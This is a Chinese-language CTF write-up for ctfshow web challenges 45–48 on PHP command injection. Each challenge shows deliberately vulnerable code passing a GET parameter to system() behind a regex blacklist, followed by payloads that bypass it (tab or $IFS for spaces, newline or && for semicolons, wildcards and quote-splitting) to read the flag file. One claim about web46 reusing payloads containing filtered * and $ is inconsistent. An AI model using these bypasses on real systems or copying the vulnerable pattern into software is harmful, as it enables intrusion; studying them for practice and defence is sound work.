1. 程式人生 > 其它 >ctfshow-web命令執行(web45-59)(Updating)

ctfshow-web命令執行(web45-59)(Updating)

PHP是世界上最好的語言!

ctfshow-web命令執行(web45-59)(Updating)

目錄

web45 &&等於; tab等於space

題目描述

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

題目分析

觀察程式碼,多過濾了分號與空格,考慮用&&代替分號(&&代表執行兩個命令,讓後面的命令進入黑洞),用tab製表符代替空格


payload
解法1->url/?c=tac%09fla?.php%26%26ls
解法2->url/?c=echo$IFS`tac$IFS*`%0A $IFS代表shell裡面的空格
解法3->url/?c=tac%09fla?.php%0a





web46 過濾數字*$

題目描述

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

題目分析

分析原始碼,多過濾了* $ 數字,因此上題的payload均可用


payload

解法1->url/?c=tac%09fla?.php%26%26ls
解法2->url/?c=echo$IFS`tac$IFS*`%0A
解法3->url/?c=tac%09fla?.php%0a





web47 <等於空格 ||解決黑洞

題目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

題目分析

多過濾了一些字元,沒有絲毫影響


payload

解法一二三上同
解法四->nl<fla''g.php|| nl檢視原始碼,<代替空格,''分割flag過濾,||解決命令黑洞





web48 沒什麼軟用

題目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

題目分析

多過濾了字元,但絲毫不影響


payload

上同